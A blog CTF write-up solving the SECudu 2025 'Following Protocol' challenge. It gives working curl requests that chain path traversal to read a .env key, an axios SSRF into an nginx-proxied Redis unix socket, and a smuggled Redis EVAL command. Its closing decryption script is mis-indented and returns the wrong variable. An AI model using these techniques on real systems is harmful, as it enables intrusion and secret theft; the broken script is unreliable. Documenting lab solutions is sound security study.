My ramblings
Writup: Following Protocol SECudu CTF 2025
7/3/2025

I participated in a group for this year SECudu CTF and we encountered one challenge that was too good not to do a writeup on.

Context

The entire CTF was around the theme of elections and democracy of Freedonia. The Following Protocol challenge told us that the user "wbc" had not voted for a valid party and simply asked to find out who they voted for.

Included in the challenge was a url to the instance as well as the source code. The source code contained 4 directories and a docker compose file to start the instance up.

dir

services:
  redis:
    build:
      context: ./redis
      dockerfile: Dockerfile
    user: "0"
    command: >
      bash -c "chmod +x /init.sh /restore.sh && /init.sh"
    volumes:
      - redis-socket:/redis
      - ./redis/init.sh:/init.sh
      - ./redis/restore.sh:/restore.sh
      - ./redis/Alyssa_Chen.jpg:/1.jpg
      - ./redis/Elira_Voss.jpg:/2.jpg
      - ./redis/Henrik_Stahl.jpg:/3.jpg
      - ./redis/Marcus_Delane.jpg:/4.jpg
      - ./redis/Rhea_Kael.jpg:/5.jpg
    networks:
      - ctfnet

  nginx:
    image: openresty/openresty:alpine
    volumes:
      - ./nginx/default.conf:/etc/nginx/conf.d/default.conf
      - ./nginx/img.conf:/etc/nginx/conf.d/img.conf
      - redis-socket:/redis
    depends_on:
      - v1
      - v2
      - redis
    networks:
      ctfnet:
        aliases:
          - backend.wbc
          - img.backend.wbc

  v1:
    image: php:8.2-cli
    command: php -S 0.0.0.0:80 -t /app
    volumes:
      - ./php-backend:/app
    networks:
      ctfnet:
        aliases:
          - v1.backend.wbc
    hostname: v1.backend.wbc
  
  v2:
    build: ./python-backend
    volumes:
      - redis-socket:/redis
    networks:
      ctfnet:
        aliases:
          - v2.backend.wbc
    hostname: v2.backend.wbc

  node:
    build: 
      context: ./node-app
    ports:
      - "80:80"
    networks:
      - ctfnet
    depends_on:
      - nginx

volumes:
  redis-socket:

networks:
  ctfnet:
    driver: bridge

There are 4 containers. The nginx and the node containers act as a reverse proxy. There is a redis container acting as a database and there are two api projects. There seems to be a redis socket that is shared between v2, nginx and the redis container itself.

The v1 project is not that interesting so we shall focus on all the other projects.

NGINX context

This project is deceptively simple. There are two config files.

One config acts as a proxy, changing the url path from http://backend.wbc/v1/xxx to http://v1.backend.wbc/xxx to be able to connect to the appropriate machine, as they are defined by their hostnames in the compose file.

The other config acts as an image server, providing images stored on the redis database.

redis context

Redis is pretty simple. There is a start script which starts redis using a socket and disabling the port by provide the port 0 to bind to. The thing to note here is that the permissions given to this socket is 777. So anyone or anything can access this socket. Another important thing to note is that the default redis container does NOT provide any authentication by design to help with testing. So any commands sent to the redis container would not require authentication.

There is also another script that runs as a cron job. It resets the redis container populating it with default data. Including the information regarding wbc vote.

Node context

This was the other reverse proxy in the project, it also serves the static files to the user.

We can see that the versions have been pinned in the package.json file

V2 context

This is the main interaction point of the project. There are three methods of interest here. vote, certificate and encrypt_value. Two of them act as routes being the primary way to access this project.

The vote route demonstrates how the vote is actually initially fetched. We can see that this method is not properly guarded against candidate names so any candidate name could be set.

vote_route_image

The encrypt_value route tells us the encryption method, the values we need to find and how to decrypt it. We require the certifier, the encrypted vote and the encryption key to be able to decrypt this value.

Finally, the certificate. This route creates and saves a pdf of the name and the certifier in a pdf format if it is able to and sends that to the user.


That should be all the context needed to solve the challenge, if you want to solve it yourself. Read ahead if you want to know the solution.

The certifier

The first piece of information that we will focus on finding is the certifier.

The vote_confirm method gives the certifier of any name inputted. So using wbc as the name we can get the certifier. We can use the following curl request to save the pdf.

curl --request POST \
      --url http://localhost/api/v2/certificate \
      --header 'Content-Type: application/x-www-form-urlencoded' \
      --header 'User-Agent: insomnia/11.2.0' \
      --data name=wbc > test.pdf

Opening the pdf we get our first bit of information.

pdf

The encryption key

Finding this was a bit more challenging. The key here is that what if the file already existed.

Here we can see that the way it handles it is by using a catch and logging that information and sends out the file. So using an existing file name would produce the previous file, it would not override that file.

Another thing to note is the way the path is constructed.

path

This uses string interpolation without verifying the path. That means we can use some directory traversal and read any arbitrary file we want. Reading the ../.env file gives us our second piece of information. The encryption key

curl --request POST \
            --url http://localhost/api/v2/certificate \
            --header 'Content-Type: application/x-www-form-urlencoded' \
            --header 'User-Agent: insomnia/11.2.0' \
            --data name=../.env

curl_env

The encrypted vote

Now the final and most difficult part. Finding the encrypted vote. We struggled hard for this trying many different things over the span of two weeks. From trying to read sockets using our arbitrary read technique to trying to produce a name that would cause some weirdness.

One piece of information was the locked version in the package.json. Looking up the CVE for axios we see there is a Server-side request forgery for axios and the version used has not been patched. We also use the base URL which matches perfectly with the exploit. That means we could use something like http://localhost/api/img/http://v1.backend.wbc/candidates and be able to access any internal hostnames that we want.

We thought we could use this and directly provide the redis-socket as a hostname. However, this failed because redis has not opened any ports. So we struggled with this for ages, wondering if this would help us to find anything.

Another thing that this exploit do is be able to skip the validation step of the node application. We can put anything in xx below not limited by v1, v2, ... http://localhost/api/img/http://nginx/xx/yy

After a week, we stumbled upon a forum post. NGINX also directly uses proxy pass without anything and we pass the first argument to the front and the second to the back. So what if we have a url like this. Attempting this on a local instance.

http://localhost/api/img/http://nginx/unix:/redis/redis.sock:/

axios

Bingo, we hit the redis container. We do have an issue though, redis detects the HOST: header and terminates the connection, so we cannot get the flag. We stumbled upon this article which talks about using carriage returns to insert bulk strings to break up the Host header. The solution did not exactly work here.

Using edgeshark (tool to view packets in docker containers) the way nginx handles url encoding before proxying it to the server was odd. It would actually translate the url encodings into regular text before sending it to the proxy It would translate a %0D to a carriage return. However, it would cut off the entire url when translating %0A. It turns out it would translate any url encoding (except probably a few) before sending them to the server.

Setting up a test socket listener, we can see exactly what would be sent to the unix socket.

curl --path-as-is -i -s -k -X 'PUT' \
              -H 'Host: localhost' -H 'Content-Length: 20' \
              --data-binary 'HGET wbc voted_for\x0d\x0a' \
              'http://localhost/api/img/http://nginx/unix:/redis/test2.sock:%22test%20wow/'

Using this we get the request:

socket-listener-1  | PUT "test wow.backend.wbc/ HTTP/1.0
socket-listener-1  | Host: localhost
socket-listener-1  | Connection: close
socket-listener-1  | Content-Length: 20
socket-listener-1  | Accept: application/json, text/plain, */*
socket-listener-1  | User-Agent: axios/1.8.1
socket-listener-1  | Accept-Encoding: gzip, compress, deflate, br
socket-listener-1  |

Another thing to note from the article talking about redis ssrf is that the commands before the Host: actually are still executed.

So, we can use a SET or a HSET command at the start by setting the method to those things. Redis does not have a way to move keys of different types, ie we cannot get a thing set by HSET and get it with GET.

There is a small command in Redis that allows us to extract the key though. It is the EVAL command. As any url encoding is accepted and actually decoded before the redis instance, we can write a full lua script that fetches wbc encrypted vote and sets it to a key of our choosing.

The command we want to achieve is therefore this:

EVAL "return redis.call('SET', 'img:2901390', redis.call('HGET','wbc','voted_for'))" 2

We put two arguments at the end for the HTTP header and part of the url that we do not actually care about. EVAL can also be achieved by using the method.

We end up with this final curl script that fetches the command.

curl --path-as-is -i -s -k -X 'EVAL' \
          -H 'Host: localhost' -H 'Content-Length: 20' \
          --data-binary 'HGET wbc voted_for\x0d\x0a' \
          'http://localhost/api/img/http://nginx/unix:/redis/redis.sock:%22return%20redis.call%28%27SET%27%2C%20%27img%3A2901390%27%2C%20redis.call%28%27HGET%27%2C%27wbc%27%2C%27voted_for%27%29%29%22%202%20/'

We can then get the encrypted vote using the img api and directly getting http://localhost/api/img/2901390.

curl http://localhost/api/img/2901390

Combining this

All together we now have all the parts to decrypt the string and get the flag. We can write a decryption script using the encryption script as a reference.

def decrypt_value(key: bytes, encrypted: str) -> str:
    backend = default_backend()
data = base64.b64decode(encrypted)
    iv = data[:16]
    ct = data[16:]
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
    decryptor = cipher.decryptor()
    padded_data = decryptor.update(ct) + decryptor.finalize()
    unpadder = padding.PKCS7(128).unpadder()
value = unpadder.update(padded_data) + unpadder.finalize()
    return padded_data

    base_key = "0cccaf41450b4c0ca95f1a9c"

    certifier = "Ak4gHIGV"
key = (certifier + base_key).encode()
    print(decrypt_value(key, "nV89mdFKlANlLKX0h4nbBcXqvobH8J75oQJQW93DZl4a1kSYlxZTZBP+iYB+yAM7"))

Running this will get the flag